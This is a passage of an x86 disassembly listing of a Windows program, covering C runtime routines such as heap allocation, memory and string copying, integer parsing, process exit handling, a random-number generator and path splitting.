jz short loc_41BD1B push esi call sub_41FBB2 test eax, eax pop ecx jnz loc_41BC20 jmp loc_41BE7B ; --------------------------------------------------------------------------- loc_41BD1B: ; CODE XREF: sub_41BBE2+11Aj ; sub_41BBE2+123j ... mov eax, edi jmp loc_41BE7D ; --------------------------------------------------------------------------- loc_41BD22: ; CODE XREF: sub_41BBE2+38j cmp eax, 2 jnz loc_41BE3D cmp esi, 0FFFFFFE0h ja short loc_41BD3F test esi, esi jbe short loc_41BD3C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41BD3F ; --------------------------------------------------------------------------- loc_41BD3C: ; CODE XREF: sub_41BBE2+150j push 10h pop esi loc_41BD3F: ; CODE XREF: sub_41BBE2+14Cj ; sub_41BBE2+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BE1F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41F472 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41BE03 cmp esi, dword_43CE74 jnb short loc_41BDC7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F83A add esp, 10h test eax, eax jz short loc_41BD8D mov edi, [ebp+arg_0] jmp short loc_41BDBF ; --------------------------------------------------------------------------- loc_41BD8D: ; CODE XREF: sub_41BBE2+1A4j push edi call sub_41F50E mov edi, eax pop ecx test edi, edi jz short loc_41BDC7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BDA6 mov eax, esi loc_41BDA6: ; CODE XREF: sub_41BBE2+1C0j push eax push [ebp+arg_0] push edi call sub_41CD20 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F4C9 add esp, 18h loc_41BDBF: ; CODE XREF: sub_41BBE2+1A9j test edi, edi jnz loc_41BD1B loc_41BDC7: ; CODE XREF: sub_41BBE2+18Bj ; sub_41BBE2+1B6j push esi push 0 push dword_4DD384 call dword_427150 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41BE1F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BDE8 mov eax, esi loc_41BDE8: ; CODE XREF: sub_41BBE2+202j push eax push [ebp+arg_0] push edi call sub_41CD20 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F4C9 add esp, 18h jmp short loc_41BE17 ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BBE2+17Fj push esi push [ebp+arg_0] push 0 push dword_4DD384 call dword_4271A0 ; RtlReAllocateHeap mov edi, eax loc_41BE17: ; CODE XREF: sub_41BBE2+21Fj test edi, edi jnz loc_41BD1B loc_41BE1F: ; CODE XREF: sub_41BBE2+162j ; sub_41BBE2+1F8j cmp dword_4DBE48, 0 jz loc_41BD1B push esi call sub_41FBB2 test eax, eax pop ecx jnz loc_41BD3F jmp short loc_41BE7B ; --------------------------------------------------------------------------- loc_41BE3D: ; CODE XREF: sub_41BBE2+143j ; sub_41BBE2+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41BE67 test esi, esi jnz short loc_41BE4B push 1 pop esi loc_41BE4B: ; CODE XREF: sub_41BBE2+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DD384 call dword_4271A0 ; RtlReAllocateHeap test eax, eax jnz short loc_41BE7D loc_41BE67: ; CODE XREF: sub_41BBE2+260j cmp dword_4DBE48, 0 jz short loc_41BE7D push esi call sub_41FBB2 test eax, eax pop ecx jnz short loc_41BE3D loc_41BE7B: ; CODE XREF: sub_41BBE2+2Bj ; sub_41BBE2+134j ... xor eax, eax loc_41BE7D: ; CODE XREF: sub_41BBE2+16j ; sub_41BBE2+13Bj ... pop edi pop esi pop ebx leave retn sub_41BBE2 endp ; =============== S U B R O U T I N E ======================================= sub_41BE82 proc near ; CODE XREF: sub_41BEA2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41FD3D test eax, eax jnz short loc_41BE8C retn ; --------------------------------------------------------------------------- loc_41BE8C: ; CODE XREF: sub_41BE82+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41FBCD add esp, 10h retn sub_41BE82 endp ; =============== S U B R O U T I N E ======================================= sub_41BEA2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+57DDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41BE82 add esp, 0Ch retn sub_41BEA2 endp ; =============== S U B R O U T I N E ======================================= sub_41BEB5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40A928+63p ... arg_0 = dword ptr 4 push dword_4DBE48 push [esp+4+arg_0] call sub_41BEC7 pop ecx pop ecx retn sub_41BEB5 endp ; =============== S U B R O U T I N E ======================================= sub_41BEC7 proc near ; CODE XREF: sub_41BEB5+Ap ; sub_41D9A5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41BEF0 loc_41BECE: ; CODE XREF: sub_41BEC7+27j push [esp+arg_0] call sub_41BEF3 test eax, eax pop ecx jnz short locret_41BEF2 cmp [esp+arg_4], eax jz short locret_41BEF2 push [esp+arg_0] call sub_41FBB2 test eax, eax pop ecx jnz short loc_41BECE loc_41BEF0: ; CODE XREF: sub_41BEC7+5j xor eax, eax locret_41BEF2: ; CODE XREF: sub_41BEC7+13j ; sub_41BEC7+19j retn sub_41BEC7 endp ; =============== S U B R O U T I N E ======================================= sub_41BEF3 proc near ; CODE XREF: sub_41BEC7+Bp arg_0 = dword ptr 4 mov eax, dword_4DD388 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41BF17 cmp esi, dword_4DD380 ja short loc_41BF49 push esi call sub_41EA6B test eax, eax pop ecx jz short loc_41BF49 pop esi retn ; --------------------------------------------------------------------------- loc_41BF17: ; CODE XREF: sub_41BEF3+Dj cmp eax, 2 jnz short loc_41BF49 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41BF2C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41BF2F ; --------------------------------------------------------------------------- loc_41BF2C: ; CODE XREF: sub_41BEF3+2Fj push 10h pop esi loc_41BF2F: ; CODE XREF: sub_41BEF3+37j cmp esi, dword_43CE74 ja short loc_41BF56 mov eax, esi shr eax, 4 push eax call sub_41F50E test eax, eax pop ecx jnz short loc_41BF65 jmp short loc_41BF56 ; --------------------------------------------------------------------------- loc_41BF49: ; CODE XREF: sub_41BEF3+15j ; sub_41BEF3+20j ... test esi, esi jnz short loc_41BF50 push 1 pop esi loc_41BF50: ; CODE XREF: sub_41BEF3+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41BF56: ; CODE XREF: sub_41BEF3+42j ; sub_41BEF3+54j push esi push 0 push dword_4DD384 call dword_427150 ; RtlAllocateHeap loc_41BF65: ; CODE XREF: sub_41BEF3+52j pop esi retn sub_41BEF3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BF70 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41BFC3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41BFB7 neg ecx and ecx, 3 jz short loc_41BF99 sub edx, ecx loc_41BF93: ; CODE XREF: sub_41BF70+27j mov [edi], al inc edi dec ecx jnz short loc_41BF93 loc_41BF99: ; CODE XREF: sub_41BF70+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41BFB7 rep stosd test edx, edx jz short loc_41BFBD loc_41BFB7: ; CODE XREF: sub_41BF70+18j ; sub_41BF70+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41BFB7 loc_41BFBD: ; CODE XREF: sub_41BF70+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BFC3: ; CODE XREF: sub_41BF70+Aj mov eax, [esp+arg_0] retn sub_41BF70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFD0 proc near ; CODE XREF: sub_401221+49Fp ; sub_401221+4BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41C053 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41BFF4 shr ecx, 2 jnz short loc_41C061 jmp short loc_41C015 ; --------------------------------------------------------------------------- loc_41BFF4: ; CODE XREF: sub_41BFD0+1Bj ; sub_41BFD0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41C022 test al, al jz short loc_41C02A test esi, 3 jnz short loc_41BFF4 mov ebx, ecx shr ecx, 2 jnz short loc_41C061 loc_41C010: ; CODE XREF: sub_41BFD0+8Fj and ebx, 3 jz short loc_41C022 loc_41C015: ; CODE XREF: sub_41BFD0+22j ; sub_41BFD0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41C04E dec ebx jnz short loc_41C015 loc_41C022: ; CODE XREF: sub_41BFD0+2Bj ; sub_41BFD0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C02A: ; CODE XREF: sub_41BFD0+2Fj test edi, 3 jz short loc_41C044 loc_41C032: ; CODE XREF: sub_41BFD0+72j mov [edi], al inc edi dec ecx jz loc_41C0C6 test edi, 3 jnz short loc_41C032 loc_41C044: ; CODE XREF: sub_41BFD0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41C0B7 loc_41C04B: ; CODE XREF: sub_41BFD0+7Fj ; sub_41BFD0+F4j mov [edi], al inc edi loc_41C04E: ; CODE XREF: sub_41BFD0+4Dj dec ebx jnz short loc_41C04B pop ebx pop esi loc_41C053: ; CODE XREF: sub_41BFD0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C059: ; CODE XREF: sub_41BFD0+A9j ; sub_41BFD0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41C010 loc_41C061: ; CODE XREF: sub_41BFD0+20j ; sub_41BFD0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C059 test dl, dl jz short loc_41C0AB test dh, dh jz short loc_41C0A1 test edx, 0FF0000h jz short loc_41C097 test edx, 0FF000000h jnz short loc_41C059 mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C097: ; CODE XREF: sub_41BFD0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C0A1: ; CODE XREF: sub_41BFD0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C0AB: ; CODE XREF: sub_41BFD0+ADj xor edx, edx mov [edi], edx loc_41C0AF: ; CODE XREF: sub_41BFD0+C5j ; sub_41BFD0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41C0C1 loc_41C0B7: ; CODE XREF: sub_41BFD0+79j xor eax, eax loc_41C0B9: ; CODE XREF: sub_41BFD0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41C0B9 loc_41C0C1: ; CODE XREF: sub_41BFD0+E5j and ebx, 3 jnz short loc_41C04B loc_41C0C6: ; CODE XREF: sub_41BFD0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41BFD0 endp ; =============== S U B R O U T I N E ======================================= sub_41C0CE proc near ; CODE XREF: sub_41C159+4p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41C0D6: ; CODE XREF: sub_41C0CE+34j cmp dword_43D084, 1 jle short loc_41C0EE movzx eax, byte ptr [edi] push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_41C0FD ; --------------------------------------------------------------------------- loc_41C0EE: ; CODE XREF: sub_41C0CE+Fj movzx eax, byte ptr [edi] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 8 loc_41C0FD: ; CODE XREF: sub_41C0CE+1Ej test eax, eax jz short loc_41C104 inc edi jmp short loc_41C0D6 ; --------------------------------------------------------------------------- loc_41C104: ; CODE XREF: sub_41C0CE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41C114 cmp esi, 2Bh jnz short loc_41C118 loc_41C114: ; CODE XREF: sub_41C0CE+3Fj movzx esi, byte ptr [edi] inc edi loc_41C118: ; CODE XREF: sub_41C0CE+44j xor ebx, ebx loc_41C11A: ; CODE XREF: sub_41C0CE+7Bj cmp dword_43D084, 1 jle short loc_41C12F push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C13A ; --------------------------------------------------------------------------- loc_41C12F: ; CODE XREF: sub_41C0CE+53j mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_41C13A: ; CODE XREF: sub_41C0CE+5Fj test eax, eax jz short loc_41C14B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41C11A ; --------------------------------------------------------------------------- loc_41C14B: ; CODE XREF: sub_41C0CE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41C154 neg eax loc_41C154: ; CODE XREF: sub_41C0CE+82j pop edi pop esi pop ebp pop ebx retn sub_41C0CE endp ; =============== S U B R O U T I N E ======================================= sub_41C159 proc near ; CODE XREF: sub_401221+306p ; sub_401ACD+717p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41C0CE pop ecx retn sub_41C159 endp ; =============== S U B R O U T I N E ======================================= sub_41C164 proc near ; CODE XREF: .packed:0041E266p mov eax, off_43AE1C test eax, eax jz short loc_41C16F call eax ; sub_41D124 loc_41C16F: ; CODE XREF: sub_41C164+7j push offset dword_429028 push offset dword_429014 call sub_41C24C push offset dword_429010 push offset dword_429000 call sub_41C24C add esp, 10h retn sub_41C164 endp ; =============== S U B R O U T I N E ======================================= sub_41C191 proc near ; CODE XREF: .packed:0041E2A5p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_41C1B3 add esp, 0Ch retn sub_41C191 endp ; =============== S U B R O U T I N E ======================================= sub_41C1A2 proc near ; CODE XREF: .packed:0041E2C4p ; sub_41E2C9+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41C1B3 add esp, 0Ch retn sub_41C1A2 endp ; =============== S U B R O U T I N E ======================================= sub_41C1B3 proc near ; CODE XREF: sub_41C191+8p ; sub_41C1A2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DBE24, edi jnz short loc_41C1D0 push [esp+4+arg_0] call dword_427104 ; GetCurrentProcess push eax call dword_4270FC ; TerminateProcess loc_41C1D0: ; CODE XREF: sub_41C1B3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DBE20, edi mov byte_4DBE1C, bl jnz short loc_41C224 mov eax, dword_4DD39C test eax, eax jz short loc_41C213 mov ecx, dword_4DD398 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41C212 loc_41C1FF: ; CODE XREF: sub_41C1B3+5Dj mov eax, [esi] test eax, eax jz short loc_41C207 call eax loc_41C207: ; CODE XREF: sub_41C1B3+50j sub esi, 4 cmp esi, dword_4DD39C jnb short loc_41C1FF loc_41C212: ; CODE XREF: sub_41C1B3+4Aj pop esi loc_41C213: ; CODE XREF: sub_41C1B3+3Cj push offset dword_429034 push offset dword_42902C call sub_41C24C pop ecx pop ecx loc_41C224: ; CODE XREF: sub_41C1B3+33j push offset dword_429040 push offset dword_429038 call sub_41C24C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41C24A push [esp+4+arg_0] mov dword_4DBE24, edi call dword_42706C ; ExitProcess loc_41C24A: ; CODE XREF: sub_41C1B3+85j pop edi retn sub_41C1B3 endp ; =============== S U B R O U T I N E ======================================= sub_41C24C proc near ; CODE XREF: sub_41C164+15p ; sub_41C164+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41C251: ; CODE XREF: sub_41C24C+16j cmp esi, [esp+4+arg_4] jnb short loc_41C264 mov eax, [esi] test eax, eax jz short loc_41C25F call eax loc_41C25F: ; CODE XREF: sub_41C24C+Fj add esi, 4 jmp short loc_41C251 ; --------------------------------------------------------------------------- loc_41C264: ; CODE XREF: sub_41C24C+9j pop esi retn sub_41C24C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C266 proc near ; CODE XREF: sub_401221+18Fp ; sub_401221+295p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C2A6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C2B3 ; --------------------------------------------------------------------------- loc_41C2A6: ; CODE XREF: sub_41C266+36j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41C2B3: ; CODE XREF: sub_41C266+3Ej mov eax, esi pop esi leave retn sub_41C266 endp ; =============== S U B R O U T I N E ======================================= sub_41C2B8 proc near ; CODE XREF: sub_401221+45p ; sub_401ACD+315Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43AE00, eax retn sub_41C2B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C2C2 proc near ; CODE XREF: sub_401221:loc_401379p ; sub_401221:loc_4016A7p ... mov eax, dword_43AE00 imul eax, 343FDh add eax, 269EC3h mov dword_43AE00, eax sar eax, 10h and eax, 7FFFh retn sub_41C2C2 endp ; =============== S U B R O U T I N E ======================================= sub_41C2E0 proc near ; CODE XREF: sub_401221:loc_40134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41C35A mov dh, [ecx+1] test dh, dh jz short loc_41C347 loc_41C2F8: ; CODE XREF: sub_41C2E0+52j ; sub_41C2E0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41C31A test al, al jz short loc_41C314 loc_41C309: ; CODE XREF: sub_41C2E0+32j mov al, [esi] inc esi loc_41C30C: ; CODE XREF: sub_41C2E0+3Fj cmp al, dl jz short loc_41C31A test al, al jnz short loc_41C309 loc_41C314: ; CODE XREF: sub_41C2E0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C31A: ; CODE XREF: sub_41C2E0+23j ; sub_41C2E0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41C30C lea edi, [esi-1] loc_41C324: ; CODE XREF: sub_41C2E0+63j mov ah, [ecx+2] test ah, ah jz short loc_41C353 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41C2F8 mov al, [ecx+3] test al, al jz short loc_41C353 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41C324 jmp short loc_41C2F8 ; --------------------------------------------------------------------------- loc_41C347: ; CODE XREF: sub_41C2E0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41C996 ; --------------------------------------------------------------------------- loc_41C353: ; CODE XREF: sub_41C2E0+49j ; sub_41C2E0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41C35A: ; CODE XREF: sub_41C2E0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41C2E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C360 proc near ; CODE XREF: sub_401221+11Ap ; sub_401ACD+1C15p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C39F mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C3AC ; --------------------------------------------------------------------------- loc_41C39F: ; CODE XREF: sub_41C360+35j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41C3AC: ; CODE XREF: sub_41C360+3Dj mov eax, esi pop esi leave retn sub_41C360 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C3B1 proc near ; CODE XREF: sub_401221+F7p ; sub_401ACD+2177p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41B9C0 cmp eax, 1 pop ecx jb short loc_41C3EC cmp byte ptr [ebx+1], 3Ah jnz short loc_41C3EC mov esi, [ebp+arg_4] test esi, esi jz short loc_41C3E8 push 2 push ebx push esi call sub_420B29 add esp, 0Ch and byte ptr [esi+2], 0 loc_41C3E8: ; CODE XREF: sub_41C3B1+25j inc ebx inc ebx jmp short loc_41C3F6 ; --------------------------------------------------------------------------- loc_41C3EC: ; CODE XREF: sub_41C3B1+18j ; sub_41C3B1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41C3F6 and byte ptr [eax], 0 loc_41C3F6: ; CODE XREF: sub_41C3B1+39j ; sub_41C3B1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41C46E loc_41C409: ; CODE XREF: sub_41C3B1+87j mov cl, [eax] movzx edx, cl test byte_4DD261[edx], 4 jz short loc_41C41A inc eax jmp short loc_41C434 ; --------------------------------------------------------------------------- loc_41C41A: ; CODE XREF: sub_41C3B1+64j cmp cl, 2Fh jz short loc_41C42E cmp cl, 5Ch jz short loc_41C42E cmp cl, 2Eh jnz short loc_41C434 mov [ebp+var_4], eax jmp short loc_41C434 ; --------------------------------------------------------------------------- loc_41C42E: ; CODE XREF: sub_41C3B1+6Cj ; sub_41C3B1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41C434: ; CODE XREF: sub_41C3B1+67j ; sub_41C3B1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41C409 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41C46E cmp [ebp+arg_8], 0 jz short loc_41C469 sub edi, ebx cmp edi, esi jb short loc_41C452 mov edi, esi loc_41C452: ; CODE XREF: sub_41C3B1+9Dj push edi push ebx push [ebp+arg_8] call sub_420B29 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C469: ; CODE XREF: sub_41C3B1+97j mov ebx, [ebp+arg_4] jmp short loc_41C478 ; --------------------------------------------------------------------------- loc_41C46E: ; CODE XREF: sub_41C3B1+56j ; sub_41C3B1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41C478 and byte ptr [ecx], 0 loc_41C478: ; CODE XREF: sub_41C3B1+BBj ; sub_41C3B1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41C4CB cmp edi, ebx jb short loc_41C4CB cmp [ebp+arg_C], 0 jz short loc_41C4A8 sub edi, ebx cmp edi, esi jb short loc_41C491 mov edi, esi loc_41C491: ; CODE XREF: sub_41C3B1+DCj push edi push ebx push [ebp+arg_C] call sub_420B29 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C4A8: ; CODE XREF: sub_41C3B1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41C4F3 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41C4B8 mov esi, eax loc_41C4B8: ; CODE XREF: sub_41C3B1+103j push esi push [ebp+var_4] push edi call sub_420B29 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41C4F3 ; --------------------------------------------------------------------------- loc_41C4CB: ; CODE XREF: sub_41C3B1+CCj ; sub_41C3B1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41C4E9 sub eax, ebx cmp eax, esi jnb short loc_41C4DA mov esi, eax loc_41C4DA: ; CODE XREF: sub_41C3B1+125j push esi push ebx push edi call sub_420B29 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41C4E9: ; CODE XREF: sub_41C3B1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41C4F3 and byte ptr [eax], 0 loc_41C4F3: ; CODE XREF: sub_41C3B1+FCj ; sub_41C3B1+118j ... pop edi pop esi pop ebx leave retn sub_41C3B1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C500 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41C520 loc_41C50C: ; CODE XREF: sub_41C500+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41C50C loc_41C520: ; CODE XREF: sub_41C500+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41C500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C52F proc near ; CODE XREF: sub_401ACD+73F5p ; sub_401ACD+7424p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41C543 xor eax, eax jmp short loc_41C579 ; --------------------------------------------------------------------------- loc_41C543: ; CODE XREF: sub_41C52F+Ej dec [ebp+arg_4] push esi jz short loc_41C573 mov esi, [ebp+arg_8] loc_41C54C: ; CODE XREF: sub_41C52F+42j dec dword ptr [esi+4] js short loc_41C55B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41C562 ; --------------------------------------------------------------------------- loc_41C55B: ; CODE XREF: sub_41C52F+20j push esi call sub_41F8E3 pop ecx loc_41C562: ; CODE XREF: sub_41C52F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41C57D mov [edi], al inc edi cmp al, 0Ah jz short loc_41C573 dec [ebp+arg_4] jnz short loc_41C54C loc_41C573: ; CODE XREF: sub_41C52F+18j ; sub_41C52F+3Dj ... and byte ptr [edi], 0 loc_41C576: ; CODE XREF: sub_41C52F+55j mov eax, ebx pop esi loc_41C579: ; CODE XREF: sub_41C52F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41C57D: ; CODE XREF: sub_41C52F+36j cmp edi, [ebp+arg_0] jnz short loc_41C573 xor ebx, ebx jmp short loc_41C576 sub_41C52F endp ; =============== S U B R O U T I N E ======================================= sub_41C586 proc near ; CODE XREF: sub_41E52A+11Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C59D add esp, 10h retn sub_41C586 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C59D proc near ; CODE XREF: sub_41C586+Ep ; sub_41C7A5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41C5B5: ; CODE XREF: sub_41C59D+46j cmp dword_43D084, 1 jle short loc_41C5CD movzx eax, bl push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_41C5DC ; --------------------------------------------------------------------------- loc_41C5CD: ; CODE XREF: sub_41C59D+1Fj mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41C5DC: ; CODE XREF: sub_41C59D+2Ej test eax, eax jz short loc_41C5E5 mov bl, [esi] inc esi jmp short loc_41C5B5 ; --------------------------------------------------------------------------- loc_41C5E5: ; CODE XREF: sub_41C59D+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41C5F3 or [ebp+arg_C], 2 jmp short 